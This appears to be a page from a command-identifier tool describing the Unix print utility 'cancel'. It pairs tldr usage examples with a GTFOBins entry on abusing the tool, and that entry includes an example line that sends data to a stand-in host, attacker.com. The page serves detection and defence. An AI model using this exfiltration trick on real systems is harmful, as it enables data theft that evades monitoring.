Identifier / Programs / Linux and Unix
cancel
Cancel print jobs. tldr-pages
GTFOBins upload 1 documented command
How cancel is abused
upload
-h-uEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for cancel.
1 documented command
upload unprivileged, with sudo, as SUID
Data is sent as a POST request along with other content.
cancel -h attacker.com:12345 -u DATAThe command the identifier reads trips no Sigma process-creation rule. This command is, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for cancel. The identifier reads the line that runs cancel.
Everyday use
Cancel the current job of the default printer (set with lpoptions -d printer_name)
cancelIdentifyCancel the jobs of the default printer owned by a specific user
cancel -u usernameIdentifyCancel the current job of a specific printer
cancel printerIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.